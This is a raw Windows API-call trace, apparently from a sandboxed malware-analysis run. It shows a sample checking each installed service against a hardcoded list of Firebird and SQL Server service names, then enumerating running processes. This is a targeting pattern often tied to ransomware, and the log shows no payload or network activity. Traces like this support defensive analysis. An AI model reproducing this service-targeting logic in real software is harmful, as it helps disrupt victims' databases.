	[0166.185] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0166.185] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0166.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0166.185] lstrlenW (lpString="gpsvc") returned 5
	[0166.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0166.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0166.185] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0166.185] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0166.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0166.185] lstrlenW (lpString="iphlpsvc") returned 8
	[0166.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0166.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0166.185] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0166.185] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0166.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0166.185] lstrlenW (lpString="KeyIso") returned 6
	[0166.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0166.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0166.185] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0166.185] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0166.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0166.185] lstrlenW (lpString="LanmanServer") returned 12
	[0166.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0166.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0166.185] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0166.186] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0166.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0166.186] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0166.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0166.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0166.186] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0166.186] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0166.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0166.186] lstrlenW (lpString="lfsvc") returned 5
	[0166.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0166.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0166.186] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0166.186] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0166.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0166.186] lstrlenW (lpString="lmhosts") returned 7
	[0166.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0166.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0166.186] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0166.186] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0166.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0166.186] lstrlenW (lpString="LSM") returned 3
	[0166.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0166.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0166.186] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0166.186] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0166.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0166.186] lstrlenW (lpString="MpsSvc") returned 6
	[0166.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0166.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0166.186] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0166.186] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0166.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0166.187] lstrlenW (lpString="NcbService") returned 10
	[0166.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0166.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0166.187] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0166.187] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0166.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0166.187] lstrlenW (lpString="netprofm") returned 8
	[0166.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0166.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0166.187] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0166.187] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0166.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0166.187] lstrlenW (lpString="NgcSvc") returned 6
	[0166.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0166.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0166.187] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0166.187] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0166.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0166.187] lstrlenW (lpString="NlaSvc") returned 6
	[0166.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0166.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0166.187] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0166.187] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0166.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0166.187] lstrlenW (lpString="nsi") returned 3
	[0166.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0166.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0166.187] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0166.187] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0166.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0166.187] lstrlenW (lpString="PcaSvc") returned 6
	[0166.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0166.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0166.188] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0166.188] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0166.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0166.188] lstrlenW (lpString="PlugPlay") returned 8
	[0166.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0166.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0166.188] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0166.188] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0166.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0166.188] lstrlenW (lpString="Power") returned 5
	[0166.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0166.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0166.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0166.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0166.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0166.188] lstrlenW (lpString="ProfSvc") returned 7
	[0166.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0166.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0166.188] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0166.188] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0166.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0166.188] lstrlenW (lpString="RpcEptMapper") returned 12
	[0166.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0166.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0166.188] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0166.188] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0166.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0166.188] lstrlenW (lpString="RpcSs") returned 5
	[0166.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0166.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0166.188] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0166.189] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0166.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0166.189] lstrlenW (lpString="SamSs") returned 5
	[0166.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0166.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0166.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0166.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0166.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0166.189] lstrlenW (lpString="Schedule") returned 8
	[0166.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0166.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0166.189] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0166.189] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0166.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0166.189] lstrlenW (lpString="SecurityHealthService") returned 21
	[0166.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0166.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0166.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0166.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0166.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0166.189] lstrlenW (lpString="SENS") returned 4
	[0166.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0166.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0166.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0166.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0166.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0166.189] lstrlenW (lpString="ShellHWDetection") returned 16
	[0166.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0166.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0166.189] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0166.189] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0166.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0166.190] lstrlenW (lpString="Spooler") returned 7
	[0166.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0166.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0166.190] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0166.190] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0166.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0166.190] lstrlenW (lpString="StateRepository") returned 15
	[0166.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0166.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0166.190] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0166.190] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0166.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0166.190] lstrlenW (lpString="SysMain") returned 7
	[0166.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0166.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0166.190] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0166.190] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0166.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0166.190] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0166.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0166.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0166.190] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0166.190] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0166.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0166.190] lstrlenW (lpString="Themes") returned 6
	[0166.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0166.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0166.190] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0166.190] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0166.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0166.190] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0166.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0166.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0166.191] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0166.191] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0166.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0166.191] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0166.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0166.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0166.191] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0166.191] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0166.290] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aba00 | out: hHeap=0x710000) returned 1
	[0166.290] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4cc
	[0166.362] Process32FirstW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0166.364] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0166.365] lstrlenW (lpString="System") returned 6
	[0166.365] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0166.365] lstrlenW (lpString="smss.exe") returned 8
	[0166.365] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0166.366] lstrlenW (lpString="csrss.exe") returned 9
	[0166.366] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0166.366] lstrlenW (lpString="wininit.exe") returned 11
	[0166.366] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0166.367] lstrlenW (lpString="csrss.exe") returned 9
	[0166.367] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0166.367] lstrlenW (lpString="winlogon.exe") returned 12
	[0166.367] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0166.367] lstrlenW (lpString="services.exe") returned 12
	[0166.367] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0166.368] lstrlenW (lpString="lsass.exe") returned 9
	[0166.368] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0166.368] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0166.368] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0166.369] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0166.369] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.369] lstrlenW (lpString="svchost.exe") returned 11
	[0166.369] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.370] lstrlenW (lpString="svchost.exe") returned 11
	[0166.370] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0166.370] lstrlenW (lpString="dwm.exe") returned 7
	[0166.370] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.371] lstrlenW (lpString="svchost.exe") returned 11
	[0166.371] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.371] lstrlenW (lpString="svchost.exe") returned 11
	[0166.371] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.372] lstrlenW (lpString="svchost.exe") returned 11
	[0166.372] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.372] lstrlenW (lpString="svchost.exe") returned 11
	[0166.372] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.373] lstrlenW (lpString="svchost.exe") returned 11
	[0166.373] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.373] lstrlenW (lpString="svchost.exe") returned 11
	[0166.373] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.373] lstrlenW (lpString="svchost.exe") returned 11
	[0166.373] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.374] lstrlenW (lpString="svchost.exe") returned 11
	[0166.374] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.374] lstrlenW (lpString="svchost.exe") returned 11
	[0166.374] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.375] lstrlenW (lpString="svchost.exe") returned 11
	[0166.375] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0166.375] lstrlenW (lpString="spoolsv.exe") returned 11
	[0166.375] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.376] lstrlenW (lpString="svchost.exe") returned 11
	[0166.376] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0166.376] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0166.376] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0166.377] lstrlenW (lpString="SecurityHealthService.exe") returned 25
